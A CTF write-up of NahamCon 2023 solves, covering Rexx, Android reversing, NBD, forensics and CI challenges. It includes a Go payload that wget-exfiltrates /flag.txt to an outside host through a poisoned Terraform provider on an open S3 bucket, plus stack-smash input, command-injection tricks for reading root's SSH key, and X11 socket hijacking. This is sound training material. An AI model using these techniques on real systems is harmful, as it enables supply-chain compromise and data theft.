Didn't get to spend as much time as I would have liked on this - the writeup is mostly random thoughts as I went along. Our team of 2 ended up 121/2546 teams (5692 players) - these are my solves.
I have a tyrannosaurus rex plushie and I named it Regina! Here, you can talk to it :)
Press the Start button on the top-right to begin this challenge.
Connect with:
# Password is "userpass"
ssh -p 32288 [email protected]
[email protected]'s password:
/usr/local/bin/regina: REXX-Regina_3.9.4(MT) 5.00 25 Oct 2021 (64 bit)
Is Rexx, a long time since I used ARexx on Amiga - so - grab manuals for this version. https://sourceforge.net/projects/regina-rexx/files/regina-documentation/3.9.4/regutil.pdf/download
/usr/local/bin/regina: REXX-Regina_3.9.4(MT) 5.00 25 Oct 2021 (64 bit)
ADDRESS PATH 'ls'
ADDRESS PATH 'ls' WITH OUTPUT STEM malc.
HELP
?
.
flag.txt
say "Hello World"
sh: HELP: not found
ADDRESS PATH 'cat flag.txt'
sh: ?: not found
Connection to challenge.nahamcon.com closed.
Seemed like it was doing nothing but just really slow...
ADDRESS PATH 'cat flag.txt'
flag{2459b9ae7c704979948318cd2f47dfd6}
Everything is blurry, I think I need glasses!
Flag in HTML...
<span style="color: transparent;text-shadow: 0 0 5px rgba(0,0,0,0.09);text-decoration: line-through;">flag{8084e4530cf649814456f2a291eb81e9}</span>
Stupid web page with fast page-open/close code... use curl..
$ curl http://challenge.nahamcon.com:31565/
$ curl http://challenge.nahamcon.com:31565/capture_the_flag.html
...
flag{80176cdf1547a9be54862df3568966b8}
We are on the web and we are here to chat!
Press the Start button on the top-right to begin this challenge.
Connect with:
http://challenge.nahamcon.com:32290
Attachments: main.go
Source code review shows flag is stored in history.
User2: Oh hey User0, was it you? You can use !help as a command to learn more :)
Error: Please request a valid history index (1 to 6)
User4: This chat is awesome!
User5: Aha! You're right, I was here before all of you! Here's your flag for finding me: flag{c398112ed498fa2cacc41433a3e3190b}
Find in discord - kick yourself for not noticing earlier when you had to get your e-mail approved :)
flag{a98373a74abb8c5ebb8f5192e034a91c}
Gitea and DroneeCI - Fork the repo - change a shell script, configure CI for fork (press sync) - get /flag.txt from Drone CI server.
The huge hint that this is NBD=>Nettwork Block Device in the title/desc.
$ nbd-client challenge.nahamcon.com 30351 /dev/nbd0
Warning: the oldstyle protocol is no longer supported.
This method now uses the newstyle protocol with a default export
Negotiation: .Error: It looks like you're trying to connect to an oldstyle server. This is no longer supported since nbd 3.10.
Exiting.
Grab nbdkit - use tools to copy image.
# USE="nbd" emerge -av sys-block/nbdkit
# nbdinfo nbd://challenge.nahamcon.com:30351
protocol: oldstyle without TLS, using simple packets
export="":
export-size: 4096 (4K)
content: PNG image data, 111 x 111, 1-bit colormap, non-interlaced
uri: nbd://challenge.nahamcon.com:30351/
is_rotational: false
is_read_only: false
can_cache: false
can_df: false
can_fast_zero: false
can_flush: false
can_fua: false
can_multi_conn: false
can_trim: false
can_zero: false
# nbdcopy nbd://challenge.nahamcon.com:30351 /tmp/local.img
# file /tmp/local.img
/tmp/local.img: PNG image data, 111 x 111, 1-bit colormap, non-interlaced
^^ is QR code of flag.
ref. https://www.libguestfs.org/nbdkit-protocol.1.html
WIM format - grab https://wimlib.net/ to unpack.
We have a bunch of windows prefetch files. Get tools to unpack those (needs a >= Win8 VM)
gh repo clone PoorBillionaire/Windows-Prefetch-Parser
Run that on all files - find flag in filename/path/args (I forgeet which)
unzip apk and dex2jar.
./dex-tools-2.1/d2j-dex2jar.sh classes.dex
(and 2.dex, 3.dex)
2.dex has R.class
public static final class raw {
public static final int encrypted = 2131689472;
}
public static final class string {
public static final int app_name = 2131755036;
public static final int correct_guess = 2131755048;
public static final int guess = 2131755054;
public static final int hint = 2131755056;
}
And:
$ /opt/android-sdk/build-tools/30.0.2/aapt d resources ../fortune_teller.apk | grep enc |tail -n 2
spec resource 0x7f0f0000 com.nahamcon2023.fortuneteller:raw/encrypted: flags=0x00000000
resource 0x7f0f0000 com.nahamcon2023.fortuneteller:raw/encrypted: t=0x03 d=0x00000350 (s=0x0008 r=0x00)
And:
$ ls -l res/raw/encrypted
-rw-r--r-- 1 username users 30032 Jan 1 1981 res/raw/encrypted
and (this will be important later)
/opt/android-sdk/build-tools/30.0.2/aapt d --values resources ../fortune_teller.apk | grep -A2 -B2 -i guess
...
resource 0x7f100028 com.nahamcon2023.fortuneteller:string/correct_guess: t=0x03 d=0x00000354 (s=0x0008 r=0x00)
(string8) "you win this ctf"
And code
public final class Decrypt {
public File outputFile;
public final void decrypt(Context paramContext) {
Intrinsics.checkNotNullParameter(paramContext, "context");
InputStream inputStream = paramContext.getResources().openRawResource(2131689472);
Intrinsics.checkNotNullExpressionValue(inputStream, "context.resources.openRawResource(R.raw.encrypted)");
byte[] arrayOfByte2 = ByteStreamsKt.readBytes(inputStream);
File file = paramContext.getFilesDir();
byte[] arrayOfByte1 = ArraysKt.sliceArray(arrayOfByte2, RangesKt.until(16, arrayOfByte2.length));
byte[] arrayOfByte3 = MainActivity.Companion.getGuessString().getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte3, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(ArraysKt.sliceArray(arrayOfByte2, RangesKt.until(0, 16)));
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, (Key)secretKeySpec, (AlgorithmParameterSpec)ivParameterSpec);
arrayOfByte1 = cipher.doFinal(arrayOfByte1);
setOutputFile(new File(file, "decrypted.jpg"));
FileOutputStream fileOutputStream = new FileOutputStream(getOutputFile());
fileOutputStream.write(arrayOfByte1);
fileOutputStream.close();
}
^^ is AES decrypt with key 'you win this ctf' and IV as first 16 bytes. Use CyberChef => get JPEG...
flag{d7687f4af1a9c75c1811488a12cb54a6n}
Is clearly going to be JNI... but we follow along in case of tricks. Do the apk-unpack/dex2jar dance - confirm there:
static {
System.loadLibrary("jninjaspeak");
}
private final native String translate(String paramString);
Load up the lib/x86_64/*.so in Ghidra.
Find the translate function.
undefined8
Java_com_nahamcon2023_jninjaspeak_MainActivity_translate
(_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)
{
byte bVar1;
int iVar2;
char *pcVar3;
undefined8 uVar4;
uint uVar5;
long in_FS_OFFSET;
int local_98;
basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>> local_50 [24];
byte local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
pcVar3 = (char *)_JNIEnv::GetStringUTFChars(param_1,param_3,(uchar *)0x0);
FUN_0011fd20(local_50);
/* try { // try from 0011fb2a to 0011fb31 has its CatchHandler @ 0011fc30 */
iVar2 = __strlen_chk(pcVar3,0xffffffffffffffff);
memcpy(local_38,"flag{1f539e4a706e6181dae9db3fad6a78f1}",0x26);
for (local_98 = 0; local_98 < iVar2; local_98 = local_98 + 1) {
bVar1 = pcVar3[local_98] ^ local_38[(ulong)(long)local_98 % 0x26];
uVar5 = (int)((ulong)((long)(char)bVar1 * -0x51b3bea3) >> 0x20) + (int)(char)bVar1;
/* try { // try from 0011fc09 to 0011fc8b has its CatchHandler @ 0011fc30 */
FUN_0011fd90(local_50,(int)(char)(bVar1 + ((char)(uVar5 >> 6) - (char)((int)uVar5 >> 0x1f)) *
-0x5e + ' '));
Not so hard... of course - you can always just skip all that because it is in plain text in those each one of thos shared object files:
$ strings jninjaspeak_unpack/lib/x86_64/libjninjaspeak.so | grep flag
flag{1f539e4a706e6181dae9db3fad6a78f1}
$ ls -l jninjaspeak_unpack/lib/*/libjninjaspeak.so
-rw-r--r-- 1 username users 293696 Jan 1 1981 jninjaspeak_unpack/lib/arm64-v8a/libjninjaspeak.so
-rw-r--r-- 1 username users 154036 Jan 1 1981 jninjaspeak_unpack/lib/armeabi-v7a/libjninjaspeak.so
-rw-r--r-- 1 username users 287420 Jan 1 1981 jninjaspeak_unpack/lib/x86/libjninjaspeak.so
-rw-r--r-- 1 username users 304680 Jan 1 1981 jninjaspeak_unpack/lib/x86_64/libjninjaspeak.so
username@host ~/ctf/nahamcon2023 $ strings jninjaspeak_unpack/lib/*/libjninjaspeak.so | grep flag
flag{1f539e4a706e6181dae9db3fad6a78f1}
flag{1f539e4a706e6181dae9db3fad6a78f1}covariant return thunk to
flag{1f539e4a706e6181dae9db3fad6a78f1}
flag{1f539e4a706e6181dae9db3fad6a78f1}
Git repo, Drone CI - runs terraform to deploy to todo.challenge.nahamcon.com
CI runs this Makefile - note the S3 server for the TF plugin
port = $(shell cat /port/ports)
init:
wget -q http://s3.challenge.nahamcon.com:${port}/tf-providers/todo
mkdir -p ~/.terraform.d/plugins/terraform-todo.com/todo/todo/1.0.0/linux_amd64
chmod +x todo
cp todo ~/.terraform.d/plugins/terraform-todo.com/todo/todo/1.0.0/linux_amd64/terraform-provider-todo
terraform init -var="port=${port}"
plan: init
terraform plan -var="port=${port}"
apply: init
terraform apply --auto-approve -var="port=${port}"
$ curl http://s3.challenge.nahamcon.com:30173
<ListAllMyBucketsResult><Owner><ID>79a59df900b949e55d96a1e698fbacedfd6e09d98eacf8f8d5218e7cd47ef2be</ID><DisplayName>s3-mock-file-store</DisplayName></Owner><Buckets><Bucket><Name>tf-providers</Name><CreationDate>2023-06-08T23:07:37.682Z</CreationDate></Bucket></Buckets></ListAllMyBucketsResult>
We can't fork - we cant push to a branch - we seem to be unable to attack from the Git side - but... Can we clobber the plugin? That says 'S3'...
echo foo >malc
curl -vX PUT -T "malc" http://s3.challenge.nahamcon.com:30173/tf-providers/todo
...
curl http://s3.challenge.nahamcon.com:30173/tf-providers/todo
foo
Yes we can.
We don't re-invent any wheels...
https://github.com/rung/terraform-provider-cmdexec
gh repo clone rung/terraform-provider-cmdexec
make build-linux
curl -vX PUT -T "terraform-provider-cmdexec" http://s3.challenge.nahamcon.com:30173/tf-providers/todo
Both that and spkane/todo plugin provider fail with:
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain
│ provider schema: Could not load the schema for provider
│ terraform-todo.com/todo/todo: failed to instantiate provider
│ "terraform-todo.com/todo/todo" to obtain schema: Unrecognized remote plugin
│ message:
│
│ This usually means that the plugin is either invalid or simply
│ needs to be recompiled to support the latest protocol...
Try;
Same shit.
Back to original - it outputs:
username@host ~/ctf/nahamcon2023/infra (master) $ terraform providers schema -json | jq .
{
"format_version": "1.0",
"provider_schemas": {
"terraform-todo.com/todo/todo": {
"provider": {
"version": 0,
"block": {
"attributes": {
"token": {
"type": "string",
"description_kind": "plain",
"required": true
},
"url": {
"type": "string",
"description_kind": "plain",
"optional": true
}
},
"description_kind": "plain"
}
},
"resource_schemas": {
"todo": {
"version": 0,
"block": {
"attributes": {
"done": {
"type": "bool",
"description_kind": "plain",
"required": true
},
"id": {
"type": "string",
"description_kind": "plain",
"optional": true,
"computed": true
},
"title": {
"type": "string",
"description_kind": "plain",
"required": true
}
},
"description_kind": "plain"
}
}
}
}
}
}
Same shit - many more times... Finally looked at LDD.
Gentoo / go version go1.20.5 linux/amd64 built module:
$ ldd terraform-provider-cmdexec
linux-vdso.so.1 (0x00007ffcaf652000)
libresolv.so.2 => /lib64/libresolv.so.2 (0x00007ff026d1e000)
libc.so.6 => /lib64/libc.so.6 (0x00007ff026b45000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff026d80000)
Ubuntu / go version go1.18.1 linux/amd64 built module:
root@a6f9f2bb4003:/terraform-provider-cmdexec# ldd terraform-provider-cmdexec
linux-vdso.so.1 (0x00007ffc32697000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa398e00000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa399089000)
Maybe the ci-host is not finding libresolv?
Nope - same issue for Ubuntu 22.04/go-18 build plugin.
At this point - I reached out to Congonator to double check he wasn't using some ass-old terraform verison (there have been multiple incompatible plugin versions over the years) he confirmed he was not. Is probably just a glibc thing - so I went further back to ubuntu 20.04 / go1.13.8 - and I get a plugin that loads but it has tons of issues.
We fix the schema to match the .tf files - gets us further - than we follow the cmdexec example to try to get RCE on tf apply
- we fail, a lot, and our freinds are already at the pub.
Fuck it - just exfil from main()... why overcomplicate...
func main() {
sh, err:= exec.LookPath("sh")
if err != nil {
log.Printf("error finding sh")
}
command := "wget http://sucks-ass.com:1234/flag_$(cat /flag.txt | base64 -w0)"
cmd:= exec.Command(sh, "-c", command)
var out strings.Builder
cmd.Stdout = &out
cmd.Run()
I found some more random gibberish text. Why are there so many of these?! (Don't answer that, I know why...)
@iH<,{|jbRH?L^VjGJH<vn3p7I,x~@1jyt>x?,!YAJr*08P
It's base 91... https://www.dcode.fr/base-91-encoding
flag{dfb88c7d9ca38e71dc27e1072fc43d1b}
https://osint.golf/NahamCon2023-chall1
flag{3e3d01a002db29fec2a5e10ec758b852}
Author: @M_alpha#3534
Your red team has gained the creds of a user and is trying to use it against a Linux workstation with SSH open. Unfortunately it seems this user is not granted shell access through SSH onto this system. Maybe there is a way to figure out what the user is doing on the system without needing to get a shell?
We are given a Dockerfile which indicates a docker container - with an X11 desktop with an editor having the flag open. We have no ssh shell access, or X11forwarding - but we have port forwarding... and that includes unix-domain-sockets :)
First Make the remote :0 display appear on our host as :2
$ ssh -p 30578 -L/tmp/.X11-unix/X2:/tmp/.X11-unix/X0 -N [email protected]
[email protected]'s password:
2nd - run imagemagick or some other screenshotter in 2nd terminal, using the forwarded X11 unix-domain-socket.
$ DISPLAY=:2 import -window root sneakyshot.png
flag{insecure_X11_957f5}
developer:Bu7!^zTZ
http://challenge.nahamcon.com:31892/ http://drone.challenge.nahamcon.com:31892/ http://todo.challenge.nahamcon.com:31892/
This file is really... weird...
Not really - it is an sqlite3 db.
username@host ~/ctf/nahamcon2023 $ file blobber
blobber: SQLite 3.x database, last written using SQLite version 3037002, file counter 4, database pages 10, cookie 0x1, schema 4, UTF-8, version-valid-for 4
username@host ~/ctf/nahamcon2023 $ sqlite3 blobber
SQLite version 3.32.2 2020-06-04 12:58:43
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE blobber (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
data BLOB
);
CREATE TABLE sqlite_sequence(name,seq);
username@host ~/ctf/nahamcon2023 $ sqlite3 blobber 'select group_concat(data) from blobber order by id ' >/tmp/1
username@host ~/ctf/nahamcon2023 $ file /tmp/1
/tmp/1: bzip2 compressed data, block size = 900k
But it is too short... group_concat doesn't work how we expect on raw data
$ sqlite3 blobber 'select group_concat(hex(data)) from blobber' | xxd -r -ps | bunzip2 -c | file -
/dev/stdin: PNG image data, 1301 x 128, 8-bit/color RGB, non-interlaced
Simple clobber the stack
# nc challenge.nahamcon.com 32743
BEHOLD THE CAVE OF GOLD
What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}
Some form of cmd injection trickery
Tried all sorts including setting 'date' args to '-f /root/flag.txt' - but just got
date: invalid date ‘[ Sorry, your flag will be displayed once you have code execution as root ]’
POST-CTF-NOTE: This was close - the flag was in another file generated with a random extension - you could use date -f /root/.ssh/id_rsa
to just get roots ssh key and gain RCE as root.
Honestly - I could have done this - but I threw it to teammate-Jon who could do it in 10% of the time :)
>>> from math import lcm
>>> p=152933908726088000025981821717328900253841375038873501148415965946834656401640031351528841350980891403699057384028031438869081577476655254545307973436745130347696405243778481262922512227444915738801835842194123487258255790292004204412236314558718035967575479232723997430178018130995420315759809636522091902529
>>> q=173403581892981708663967289381727914513043623656015065332774927693090954681172215632003125824638611519248812013286298011144213434368768979531792528759533473573346156338400142951284462417074992959330154930806611253683603690442142765076944118447174491399811297223146324861971722035746276165056022562961558299229
>>> lcm(p-1,q-1)
6629821891499497613128655044901731895480143514034553763022539921880588972603551045216268448347448752660027296122639805005927385831771285375609739595426763432493723884303753595859701098317087713746746824332983233995168948205975326466975795933660241280783986388939220529701224821499280676891895149689077640778761483976582514979241425675963118943727791433249780735034855848478910755567915213442559950224580353129746884829309528144556297152620643540691452125481402554805690852680910070985708743755685419047721258452467003135329496016030797490896188045780024983364903365029261315732674417306351820437575099894883608412096